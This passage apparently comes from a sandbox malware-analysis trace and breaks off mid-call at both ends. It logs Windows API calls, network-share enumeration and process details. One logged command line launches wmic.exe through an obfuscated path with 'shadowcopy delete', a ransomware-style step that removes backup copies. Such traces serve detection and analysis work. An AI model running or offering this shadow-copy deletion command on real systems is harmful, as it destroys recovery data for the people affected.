(lpString="CREATETHREAD") returned 12 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0056.637] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0056.637] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0056.637] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0056.637] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0056.637] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0056.637] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0056.637] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0056.637] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0056.637] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0056.637] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0056.637] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0056.637] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0056.637] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0056.637] lstrlenA (lpString="CTRLROUTINE") returned 11 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0056.637] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0056.638] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0056.638] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0056.638] lstrlenA (lpString="DEBUGBREAK") returned 10 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0056.638] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0056.638] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0056.638] lstrlenA (lpString="DECODEPOINTER") returned 13 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0056.638] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0056.638] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0056.638] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0056.638] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0056.638] lstrlenA (lpString="DELETEATOM") returned 10 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0056.638] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0056.638] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0056.638] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0056.639] lstrlenA (lpString="DELETEFIBER") returned 11 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0056.639] lstrlenA (lpString="DELETEFILEA") returned 11 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0056.639] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0056.639] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0056.639] lstrlenA (lpString="DELETEFILEW") returned 11 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0056.639] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0056.639] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0056.639] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0056.639] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0056.639] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0056.639] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0056.639] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0056.639] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0056.639] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0056.639] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0056.639] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0056.639] lstrcpyA (in: lpString1=0x33df298, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0056.640] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0056.640] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0056.640] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0056.640] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0056.640] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0056.640] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0056.640] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0056.640] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0056.640] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0056.640] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0056.640] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0056.640] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0056.640] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0056.640] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0056.640] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0056.640] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0056.640] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0056.640] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0056.641] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0056.641] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0056.641] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0056.641] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0056.641] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0056.641] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0056.641] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0056.641] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0056.641] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0056.641] lstrcpyA (in: lpString1=0x33df298, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0056.641] WNetCloseEnum (hEnum=0x6608d0) returned 0x0 [0056.642] WNetEnumResourceW (in: hEnum=0x66ce98, lpcCount=0x33dff5c, lpBuffer=0x2fa0000, lpBufferSize=0x33dff54 | out: lpcCount=0x33dff5c, lpBuffer=0x2fa0000, lpBufferSize=0x33dff54) returned 0x0 [0056.642] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x2fa0000, lphEnum=0x33dff28 | out: lphEnum=0x33dff28*=0xffffffff) returned 0x4b8 [0072.927] WNetEnumResourceW (in: hEnum=0x66ce98, lpcCount=0x33dff5c, lpBuffer=0x2fa0000, lpBufferSize=0x33dff54 | out: lpcCount=0x33dff5c, lpBuffer=0x2fa0000, lpBufferSize=0x33dff54) returned 0x0 [0072.927] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x2fa0000, lphEnum=0x33dff28 | out: lphEnum=0x33dff28*=0xffffffff) returned 0x4c6 [0072.929] WNetEnumResourceW (in: hEnum=0x66ce98, lpcCount=0x33dff5c, lpBuffer=0x2fa0000, lpBufferSize=0x33dff54 | out: lpcCount=0x33dff5c, lpBuffer=0x2fa0000, lpBufferSize=0x33dff54) returned 0x103 [0072.929] WNetCloseEnum (hEnum=0x66ce98) returned 0x0 [0072.929] CryptDestroyKey (hKey=0x66ce58) returned 1 [0072.929] CryptReleaseContext (hProv=0x6805b8, dwFlags=0x0) returned 1 [0072.929] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.930] RtlExitUserThread (Status=0x0) Thread: id = 77 os_tid = 0xad0 Thread: id = 78 os_tid = 0xad4 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xa38" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 7 os_tid = 0x850 Thread: id = 8 os_tid = 0x790 Thread: id = 9 os_tid = 0x798 Thread: id = 10 os_tid = 0x7f8 Thread: id = 11 os_tid = 0x430 Thread: id = 12 os_tid = 0x268 Thread: id = 13 os_tid = 0x768 Thread: id = 14 os_tid = 0x764 Thread: id = 15 os_tid = 0x760 Thread: id = 16 os_tid = 0x75c Thread: id = 17 os_tid = 0x70c Thread: id = 18 os_tid = 0x6e8 Thread: id = 19 os_tid = 0x6d8 Thread: id = 20 os_tid = 0x6d4 Thread: id = 21 os_tid = 0x6c8 Thread: id = 22 os_tid = 0x6c0 Thread: id = 23 os_tid = 0x6b8 Thread: id = 24 os_tid = 0x6a4 Thread: id = 25 os_tid = 0x6a0 Thread: id = 26 os_tid = 0x690 Thread: id = 27 os_tid = 0x67c Thread: id = 28 os_tid = 0x490 Thread: id = 29 os_tid = 0x454 Thread: id = 30 os_tid = 0x450 Thread: id = 31 os_tid = 0x428 Thread: id = 32 os_tid = 0x424 Thread: id = 33 os_tid = 0x420 Thread: id = 34 os_tid = 0x404 Thread: id = 35 os_tid = 0x18c Thread: id = 36 os_tid = 0xf0 Thread: id = 37 os_tid = 0xc8 Thread: id = 38 os_tid = 0x3f0 Thread: id = 39 os_tid = 0x3e4 Thread: id = 40 os_tid = 0x398 Thread: id = 41 os_tid = 0x394 Thread: id = 42 os_tid = 0x390 Thread: id = 43 os_tid = 0x38c Thread: id = 44 os_tid = 0x378 Thread: id = 45 os_tid = 0x370 Thread: id = 55 os_tid = 0xa5c Thread: id = 56 os_tid = 0xa60 Thread: id = 64 os_tid = 0xa9c Thread: id = 65 os_tid = 0xaa0 Thread: id = 66 os_tid = 0xaa4 Thread: id = 67 os_tid = 0xaa8 Thread: id = 68 os_tid = 0xaac Thread: id = 69 os_tid = 0xab0 Thread: id = 70 os_tid = 0xab4 Thread: id = 71 os_tid = 0xab8 Thread: id = 72 os_tid = 0xabc Thread: id = 73 os_tid = 0xac0 Thread: id = 75 os_tid = 0xac8 Thread: id = 76 os_tid = 0xacc Process: id = "3" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x65806000" os_pid = "0x818" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 46 os_tid = 0x84c Thread: id = 47 os_tid = 0x838 Thread: id = 48 os_tid = 0x834 Thread: id = 49 os_tid = 0x830 Thread: id = 50 os_tid = 0x82c Thread: id = 51 os_tid = 0x828 Thread: id = 52 os_tid = 0x824 Thread: id = 53 os_tid = 0x820 Thread: id = 54 os_tid = 0x81c Thread: id = 74 os_tid = 0xac4 Process: id = "4" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x4cc36000" os_pid = "0xa78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa38" cmd_line = "\"C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\..\\wmic.exe\" shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 60 os_tid = 0xa7c [0058.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fbd0 | out: lpSystemTimeAsFileTime=0x14fbd0*(dwLowDateTime=0x88b39db0, dwHighDateTime=0x1d518a9)) [0058.287] GetCurrentProcessId () returned 0xa78 [0058.287] GetCurrentThreadId () returned 0xa7c [0058.288] GetTickCount () returned 0x1d42f [0058.288] QueryPerformanceCounter (in: lpPerformanceCount=0x14fbd8 | out: lpPerformanceCount=0x14fbd8*=17832216577) returned 1 [0058.289] GetModuleHandleW (lpModuleName=0x0) returned 0xff4a0000 [0058.289] __set_app_type (_Type=0x1) [0058.289] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff4eced0) returned 0x0 [0058.289] __wgetmainargs (in: _Argc=0xff512380, _Argv=0xff512390, _Env=0xff512388, _DoWildCard=0, _StartInfo=0xff51239c | out: _Argc=0xff512380, _Argv=0xff512390, _Env=0xff512388) returned 0 [0058.292] ??0CHString@@QEAA@XZ () returned 0xff512ab0 [0058.294] malloc (_Size=0x30) returned 0x605a10 [0058.295] malloc (_Size=0x70) returned 0x605a50 [0058.295] malloc (_Size=0x50) returned 0x607cd0 [0058.295] malloc (_Size=0x30) returned 0x607d30 [0058.295] malloc (_Size=0x48) returned 0x607d70 [0058.295] malloc (_Size=0x30) returned 0x607dc0 [0058.295] malloc (_Size=0x30) returned 0x607e00 [0058.295] ??0CHString@@QEAA@XZ () returned 0xff512f58 [0058.295] malloc (_Size=0x30) returned 0x607e40 [0058.295] ?Empty@CHString@@QEAAXXZ () returned 0x7fef884482c [0058.295] SetConsoleCtrlHandler (HandlerRoutine=0xff4e5724, Add=1) returned 1 [0058.295] _onexit (_Func=0xff4ff378) returned 0xff4ff378 [0058.295] _onexit (_Func=0xff4ff490) returned 0xff4ff490 [0058.295] _onexit (_Func=0xff4ff4d0) returned 0xff4ff4d0 [0058.296] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.296] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0058.630] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0058.668] CoCreateInstance (in: rclsid=0xff4a73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff4a7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xff512940 | out: ppv=0xff512940*=0x1cd1390) returned 0x0 [0058.678] GetCurrentProcess () returned 0xffffffffffffffff [0058.678] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x14f9a0 | out: TokenHandle=0x14f9a0*=0xf4) returned 1 [0058.678] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x14f998 | out: TokenInformation=0x0, ReturnLength=0x14f998) returned 0 [0058.679] malloc (_Size=0x118) returned 0x6068b0 [0058.679] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x6068b0, TokenInformationLength=0x118, ReturnLength=0x14f998 | out: TokenInformation=0x6068b0, ReturnLength=0x14f998) returned 1 [0058.679] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0x6068b0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=1263650993, Attributes=0xd85b), (Luid.LowPart=0x0, Luid.HighPart=6324112, Attributes=0x0), (Luid.LowPart=0x6c0061, Luid.HighPart=4980736, Attributes=0x47004f), (Luid.LowPart=0x450053, Luid.HighPart=5636178, Attributes=0x520045), (Luid.LowPart=0x58005c, Luid.HighPart=5570628, Attributes=0x540057), (Luid.LowPart=0x4f004e, Luid.HighPart=5111808, Attributes=0x4d0055))), BufferLength=0x0, 